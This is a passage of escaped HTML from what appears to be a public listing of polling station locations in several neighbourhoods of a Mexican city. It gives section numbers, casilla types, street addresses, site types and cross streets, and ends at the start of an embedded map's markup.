Vieja<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>982<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Violeta<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>418-6<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>San Carlos<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Jos\u00e9 Luis Verdia Y Nicol\u00e1s Bravo<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>982<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Violeta<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>418-6<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>San Carlos<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Jos\u00e9 Luis Verdia Y Nicol\u00e1s Bravo<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>978<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>5 De Febrero<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>249<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Las Conchas<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Oficina P\u00fablica<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Doctor R Michel Y Analco<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>983<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Tuberosa<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>616-7<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Quinta Velarde<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Calzada Del Ejercito Y Gabino Barreda<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>984<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Doctor Silverio Garc\u00eda<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1322<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Quinta Velarde<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Tuberosa Y Violeta<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>984<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Doctor Silverio Garc\u00eda<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1386<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Quinta Velarde<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Tuberosa Y Rio Nilo<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>985<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Salvador Lopez Ch\u00e1vez<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1232<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Quinta Velarde<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Tuberosa Y Violeta<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>986<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Armer\u00eda<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1164<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Quinta Velarde<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Rio Yaqui Y Calle Violeta<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>987<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Amacuzac<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1421<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Quinta Velarde<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Rio Rhin Y Calzada Ol\u00edmpica<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>987<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Rhin<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1315<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Quinta Velarde<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Salvador Lopez Ch\u00e1vez Y Rio Amacuzac<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1526<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Ameca<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1576<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Atlas<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Fray Antonio De Segovia Y Rio Panuco<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1526<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Ameca<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1576<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Atlas<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Fray Antonio De Segovia Y Rio Panuco<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1526<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Panuco<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1414<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Atlas<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Rio Rhin Y Rio Lagos<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1527<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Volga<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1491<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Atlas<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Rio Amazonas Y Rio Lagos<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1528<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Tizapan<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1362<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Atlas<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Rio Mascota Y Rio Ameca<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1528<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Tizapan<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1362<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Atlas<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Rio Mascota Y Rio Ameca<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1531<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio San Juan De Dios<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1488<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Atlas<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Rio Lagos Y Rio Tepatitl\u00e1n<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1531<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio San Juan De Dios<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1488<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Atlas<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Rio Lagos Y Rio Tepatitl\u00e1n<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1532<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Ocotl\u00e1n<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1532<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Atlas<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Rio Tepatitl\u00e1n Y Rio Lagos<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1533<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio La Barca<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>S\/N<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Atlas<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Lugar Publico<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Rio Mascota Y Rio Lagos<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1534<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Autl\u00e1n<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1886<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Atlas<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Rio La Barca Y Rio San Juan De Dios<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1534<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio La Barca<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1259<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Atlas<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Rio Zarco Y Rio Negro<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1534<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio La Barca<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1227<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Atlas<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Rio Negro Y Rio Autl\u00e1n<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1535<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Autl\u00e1n<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>2111<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Atlas<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Rio Atotonilco Y Rio Pil\u00f3n<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1535<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Autl\u00e1n<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>2111<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Atlas<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Rio Atotonilco Y Rio Pil\u00f3n<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1536<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Atotonilco<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1285<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Atlas<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Rio Autl\u00e1n Y Rio Ameca<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1536<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>R\u00edo \u00a0Ameca<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>2084<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Atlas<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Rio Atotonilco Y Rio Zapotlanejo<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1537<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Atotonilco<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1358<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Atlas<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Escuela Y Rio Mascota<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1537<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Atotonilco<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1358<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Atlas<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Escuela Y Rio Mascota<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1540<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Cuale<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>2239<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Atlas<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Rio Antigua Y Rio Tuito<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1540<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Cuale<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>2239<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Atlas<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Rio Antigua Y Rio Tuito<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1542<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Tapajos<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>2316<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Jardines Del Rosario<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Rio Champoton Y Rio T\u00edbet<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1542<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Tapajos<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>2316<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Jardines Del Rosario<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Rio Champoton Y Rio T\u00edbet<\/h5>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<div id=\"mapp0_layout\" class=\"mapp-layout\" style=\"width: 780px; \"><div id=\"mapp0_links\" class=\"mapp-map-links\"><\/div><div id=\"mapp0_dialog\" class=\"mapp-dialog\"><\/div><div id=\"mapp0\" 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